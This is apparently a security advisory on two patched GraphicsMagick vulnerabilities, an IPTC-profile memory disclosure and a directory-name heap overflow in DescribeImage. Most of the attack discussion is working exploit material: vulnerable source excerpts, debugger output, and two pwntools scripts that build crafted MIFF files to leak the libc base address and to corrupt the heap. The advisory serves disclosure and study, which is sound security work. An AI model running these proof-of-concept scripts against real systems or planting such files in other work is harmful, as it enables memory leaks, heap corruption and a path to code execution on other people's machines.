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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

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'''Vulnerabilities summary
The following advisory describes two (2) vulnerabilities found in GraphicsMagick.

GraphicsMagick is “The swiss army knife of image processing. Comprised of 267K physical lines (according to David A. Wheeler’s SLOCCount) of source code in the base package (or 1,225K including 3rd party libraries) it provides a robust and efficient collection of tools and libraries which support reading, writing, and manipulating an image in over 88 major formats including important formats like DPX, GIF, JPEG, JPEG-2000, PNG, PDF, PNM, and TIFF.”

The vulnerabilities found are:

Memory Information Disclosure
Heap Overflow
Credit
An independent security researchers, Jeremy Heng (@nn_amon) and Terry Chia (Ayrx), has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program

Vendor response
The vendor has released patches to address these vulnerabilities (15237:e4e1c2a581d8 and 15238:7292230dd18).

For more details: ftp://ftp.graphicsmagick.org/pub/GraphicsMagick/snapshots/ChangeLog.txt


Vulnerabilities details

Memory Information Disclosure
GraphicsMagick is vulnerable to a memory information disclosure vulnerability found in DescribeImage function of the magick/describe.c file.

The portion of the code containing the vulnerability responsible of printing the IPTC Profile information contained in the image.

This vulnerability can be triggered with a specially crafted MIFF file.

The code which triggers the vulnerable code path is:

63 MagickExport MagickPassFail DescribeImage(Image *image,FILE *file,
64                                           const MagickBool verbose)
65 {
...
660       for (i=0; i < profile_length; )
661         {
662           if (profile[i] != 0x1c)
663             {
664               i++;
665               continue;
666             }
667           i++;  /* skip file separator */
668           i++;  /* skip record number */
...
725           i++;
726           (void) fprintf(file,"    %.1024s:\n",tag);
727           length=profile[i++] << 8;
728           length|=profile[i++];
729           text=MagickAllocateMemory(char *,length+1);
730           if (text != (char *) NULL)
731             {
732               char
733                 **textlist;
734
735               register unsigned long
736                 j;
737
738               (void) strncpy(text,(char *) profile+i,length);
739               text[length]='\0';
740               textlist=StringToList(text);
741               if (textlist != (char **) NULL)
742                 {
743                   for (j=0; textlist[j] != (char *) NULL; j++)
744                     {
745                       (void) fprintf(file,"  %s\n",textlist[j]);
...
752           i+=length;
753         }


The value in profile_length variable is set in the following field in the MIFF header: profile-iptc=8

There is an out-of-bounds buffer dereference whenever profile[i] is accessed because the increments of i is never checked.

If we break on line 738 of describe.c, we can explore what is present on the heap during the strncpy operation.


gef➤  x/2xg profile
0x8be210:    0x08000a001c414141    0x00007ffff690fba8


The 8 bytes 0x08000a001c414141 is the profile payload present in the specially crafted MIFF file.


41 41 41 - padding
1C - sentinel check in line 662
00 - padding
0A - "Priority" tag
08 00 - 8 in big endian, the length


If we examine the value 0x00007ffff690fba8 adjacent to the payload, it becomes apparent that it is an address within the main_arena struct in libc.


gef➤  x/xw 0x00007ffff690fba8
0x7ffff690fba8 <main_arena+136>:    0x008cdc40
gef➤  vmmap libc
Start              End                Offset             Perm Path
0x00007ffff654b000 0x00007ffff670b000 0x0000000000000000 r-x
/lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff670b000 0x00007ffff690b000 0x00000000001c0000 ---
/lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff690b000 0x00007ffff690f000 0x00000000001c0000 r--
/lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff690f000 0x00007ffff6911000 0x00000000001c4000 rw-
/lib/x86_64-linux-gnu/libc-2.23.so

Now we can calculate the offset to libc base – 0x3c4b98

Proof of Concept

$ python miff/readexploit.py
[+] Starting local process ‘/usr/bin/gm’: pid 20019
[+] Receiving all data: Done (1.27KB)
[*] Process ‘/usr/bin/gm’ stopped with exit code 0 (pid 20019)
[*] Main Arena Leak: 0x7f72948adb98
[*] libc Base: 0x7f72944e9000

#!/usr/bin/python
# GraphicsMagick IPTC Profile libc Leak
 
from pwn import *
 
directory = "DIR"
partitions = ('id=ImageMagick  version=1.0\nclass=DirectClass  matte=False\n' +
              'columns=1  rows=1  depth=16\nscene=1\nmontage=1x1+0+0\nprofil' +
              'e-iptc=',
              '\n\x0c\n:\x1a',
              '\n\x00',
              '\n\x00\xbe\xbe\xbe\xbe\xbe\xbe\n')
output = "readexploit.miff"
length = 8
 
#libc_main_arena_entry_offset = 0x3c4ba8
libc_main_arena_entry_offset = 0x3c4b98
 
def main():
    data = "AAA" + "\x1c" + "\x00" + chr(10) + p16(0x8, endian="big")
    header = partitions[0] + str(length) + partitions[1]
    payload = header + directory + partitions[2] + data + partitions[3]
    file(output, "w").write(payload)
 
    p = process(executable="gm", argv=["identify", "-verbose", output])
    output_leak = p.recvall()
    priority_offset = output_leak.index("Priority:") + 12
    montage_offset = output_leak.index("Montage:") - 3
    leak = output_leak[priority_offset:montage_offset]
    if "0x00000000" in leak:
        log.info("Unlucky run. Value corrupted by StringToList")
        exit()
    main_arena_leak = u64(leak.ljust(8, "\x00"))
    log.info("Main Arena Leak: 0x%x" % main_arena_leak)
    libc_base = main_arena_leak - libc_main_arena_entry_offset
    log.info("libc Base: 0x%x" % libc_base)
 
if __name__ == "__main__":
    main()

    
Heap Overflow
GraphicsMagick is vulnerable to a heap overflow vulnerability found in DescribeImage() function of the magick/describe.c file.

The call to strncpy on line 855 does not limit the size to be copied to the size of the buffer copied to. Instead, the size is calculated by searching for a newline or a null byte in the directory name.

844       /*
845         Display visual image directory.
846       */
847       image_info=CloneImageInfo((ImageInfo *) NULL);
848       (void) CloneString(&image_info->size,"64x64");
849       (void) fprintf(file,"  Directory:\n");
850       for (p=image->directory; *p != '\0'; p++)
851         {
852           q=p;
853           while ((*q != '\n') && (*q != '\0'))
854             q++;
855           (void) strncpy(image_info->filename,p,q-p);
856           image_info->filename[q-p]='\0';
857           p=q;
...
880         }
881       DestroyImageInfo(image_info);

Since the field filename in the ImageInfo struct has the static size of 2053, the heap can be corrupted by forging an overly long directory name.


type = struct _ImageInfo {
...
    FILE *file;
    char magick[2053];
    char filename[2053];
    _CacheInfoPtr_ cache;
    void *definitions;
    Image *attributes;
    unsigned int ping;
    PreviewType preview_type;
    unsigned int affirm;
    _BlobInfoPtr_ blob;
    size_t length;
    char unique[2053];
    char zero[2053];
    unsigned long signature;
}

One possible way to trigger the vulnerability is to run the identify command on a specially crafted MIFF format file with the verbose flag.

Proof of Concept
The following proof of concept script will generate a specially crafted MIFF file exploit.miff.
'''

#!/usr/bin/python
 
from pwn import *
 
partitions = ('id=ImageMagick  version=1.0\nclass=DirectClass  matte=False\n' +
              'columns=1  rows=1  depth=16\nscene=1\nmontage=1x1+0+0\n\x0c\n' +
              ':\x1a',
              '\n\x00\xbe\xbe\xbe\xbe\xbe\xbe\n')
output = "exploit.miff"
 
def main():
    payload = "A"*10000
    payload = partitions[0] + payload + partitions[1]
    file(output, "w").write(payload)
 
if __name__ == "__main__":
    main()

'''    
Running the GraphicsMagick gm utility with the arguments identify -verbose in GDB and breaking after the vulnerable strncpy call, and examining the corrupted ImageInfo object demonstrates that the heap corruption was successful.


gef➤  r identify -verbose exploit.miff
...
gef➤  br describe.c:856
Breakpoint 1 at 0x4571df: file magick/describe.c, line 856.
...
gef➤  p *image_info
$3 = {
...
  compression = UndefinedCompression,
  file = 0x0,
  magick = '\000' <repeats 2052 times>,
  filename = 'A' <repeats 2053 times>,
  cache = 0x4141414141414141,
  definitions = 0x4141414141414141,
  attributes = 0x4141414141414141,
  ping = 0x41414141,
  preview_type = 1094795585,
  affirm = 0x41414141,
  blob = 0x4141414141414141,
  length = 0x4141414141414141,
  unique = 'A' <repeats 2053 times>,
  zero = 'A' <repeats 2053 times>,
  signature = 0x4141414141414141
}
'''